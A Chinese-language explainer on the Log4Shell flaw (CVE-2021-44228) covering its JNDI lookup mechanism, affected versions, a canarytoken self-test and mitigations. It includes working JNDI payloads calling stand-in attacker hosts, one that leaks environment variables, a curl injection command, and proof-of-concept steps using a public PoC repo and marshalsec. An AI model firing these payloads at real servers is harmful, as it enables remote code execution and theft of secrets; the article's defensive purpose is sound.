几个小时前,在流行的 Java 日志库log4j中发现了一个 0day漏洞(绰号 Log4Shell 或 LogJam或 log4j2rce,详见:CVE-2021-44228),该漏洞通过记录某个字符串导致远程代码执行 (RCE)。
鉴于log4j2库非常流行,漏洞会被利用完全控制你的服务器,实现挖矿等无法想象的后果。这个 log4j 漏洞非常严重, 该漏洞在 CVSS 评级系统中的得分为 10 分,满分是10分,表明问题的严重性。数以百万计的应用程序使用 Log4j 进行日志记录,攻击者所需要做的就是让应用程序记录一个特殊的字符串,当启用消息查找替换时,攻击者可以执行从LDAP服务器加载的任意代码。
到目前为止,iCloud、Steam 和 Minecraft 都已确认存在漏洞。
这篇文章提供了资源来帮助您了解漏洞以及如何自行缓解。
漏洞原理
程序员以为log4j2这样日志框架只会将消息视为数据并处理基本格式。但是,Log4j 2.0 添加了lookups,包括 JNDI 查找。这些 JNDI 查找不受限制,从而导致漏洞。
Java命名和目录接口(JNDI)是一个目录服务,它允许您使用LDAP或DNS到接口的Java API来查找数据和资源。不幸的是,可以返回的数据类型之一是指向Java类的URI——如果您加载了一个不受信任的 Java 类,那么您就会在不知不觉中执行其他人的代码。
例如:在系统的登录Login页面中,需要输入用户名和密码,这时只要将$ {jndi: ldap: //attacker.com/a}作为用户名输入,Log4j 引擎将 ${...} 解释为模板,并尝试检索指定ldap后的URL处的 Java 文件。然后执行此 Java 文件,从而允许攻击者完全控制服务器。Log4J 格式是可嵌套的,这意味着像 ${jndi:ldap://${env:user}.xyz.collab.com/a} 这样会泄漏服务器端环境变量。
更详细:假设你有下面一段代码,代码中使用了log4j作为日志输出:
@getMapping("/") public String index(@RequestHeader("User-Agent") String browserName) { logger.info("Received a request for API version " + browserName); return "Hello, world!"; } |
攻击者只要调用:
curl 127.0.0.1:8080 -H 'User-Agent: ${jndi:ldap://攻击者IP:1389/a}' |
你的程序将会调用攻击者IP的远程URL,这个URL会提供一个“恶意”类,其中包含一些他们希望在你应用中运行的代码。
深入原理见这篇文章。
CVE-2021-44228(Apache Log4j 远程代码执行)攻击演示源码:
git clone https://github.com/tangxiaofeng7/apache-log4j-poc.git cd apache-log4j-poc/src/main/java javac Exploit.java python -m SimpleHTTPServer 8888 |
攻击运行:
cd tools java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/Exploit" |
你会看到你本地的计算器被无故调用了。
其他:
测试自己是否受到影响?
可以通过https://canarytokens.org,选择下拉列表最后一行:Log4Shell;
输入你的邮箱,获得:
${jndi:ldap://XXX.canarytokens.com/a}
然后,按照前面所述,将这ldap格式字符串作为你的系统的参数传入,模拟攻击。
如果系统发生了XXX.canarytokens.com任何 DNS查询,将有一封报警信发送到你的邮件,说明你的系统存在有此漏洞威胁。
谁受到影响?
许多服务都容易受到这种攻击。Steam、Apple iCloud等云服务和 Minecraft 等应用程序已被发现存在漏洞。
任何使用 Apache Struts 的人都可能受到攻击。我们曾在2017 年 Equifax 数据泄露等违规事件中看到类似的漏洞被利用。
这篇博文中讨论了针对 Apache Tomcat 服务器上存在的org.apache.naming.factory.BeanFactory类的攻击 。
远远不止上述,几乎所有java世界都受到影响。
受此影响Apache的log4j的版本
- 2.0 <= Apache log4j <= 2.14.1
- JVM 版本 - 如果低于:
- Java 6 – 6u212
- Java 7 – 7u202
- Java 8 – 8u192
- Java 11 - 11.0.2
如果上述两个条件都为真,几乎肯定会受到影响;注意还有一种观点(见文后)认为这个漏洞与Java版本无关。
解决方法:
- 设置环境变量:log4j2.formatMsgNoLookups设置为true
方法:
>export JAVA_TOOL_OPTIONS=-Dlog4j2.formatMsgNoLookups=true >cat Verify.java public class Verify { public static void main(String args) { System.out.println(System.getProperty("log4j2.formatMsgNoLookups")); } } >java Verify.java Picked up JAVA_TOOL_OPTIONS: -Dlog4j2.formatMsgNoLookups=true |
上述代码临时编写了一个Verify.java用来确证环境变量修改已经生效。
为什么不用JAVA_OPTS?因为 JAVA_OPTS 不是由 JVM 自动获取的。它由 shell/bat 脚本传递,然后您必须知道在哪里编辑这些脚本以确保传递 JAVA_OPTS。
- 或更新到log4j-2.15.0或更高版本启动您的服务器:
<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.15.0 </version> </dependency> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.15.0</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-1.2-api</artifactId> <version>2.15.0</version> </dependency> |
使用Maven的排除exclusions语法防止log4j 1.x加载:
<dependency> <groupId>org.apache.struts</groupId> <artifactId>struts-taglib</artifactId> <version>1.3.8</version> <exclusions> <exclusion> <groupId>log4j</groupId> <artifactId>log4j</artifactId> </exclusion> </exclusions> </dependency> |
其他建议:
- 注意上述办法仅适用于 2.10到2.14.1之间版本;但是更旧版本还是仍然容易受到攻击
- log4j 支持任何配置的环境变量。在这种情况下,您将设置 LOG4J_FORMAT_MSG_NO_LOOKUPS=true关闭JNDI查找
- 关于检查集群的所有 pod kubectl get pods -o name | xargs -I{} kubectl exec -it {} -- env | grep JAVA_TOOL_OPTIONS
- 以色列网络安全公司 Cybereason 还发布了一个名为“ Logout4Shell ”的修复程序。
此漏洞影响面非常广泛,从《我的世界》到整个Java世界都需要升级,下面链接是演示这种漏洞的攻击演示,从苹果官网到腾讯:
https://github.com/YfryTchsGD/Log4jAttackSurface
深入分析
PSA:Log4Shell 和 JNDI 注入的当前状态:
在默认安装中,JNDI 支持两种“有趣”的协议:RMI 和 LDAP。
- 从 Java 8u121 开始,RMI(但不是 LDAP)默认不再允许远程代码库
- LDAP 名称仍然允许直接远程执行代码。这种“疏忽”后来才在 Java 8u191 中作为 CVE-2018-3149 解决
在 Java 8u191 之前,存在从受控 JNDI 查找到任意代码的远程类加载的直接路径。该 Java 版本大约有 3 年历史。
结论:不要依赖当前的 Java 版本来拯救你:更新 Log4J(或删除 JNDI 查找)。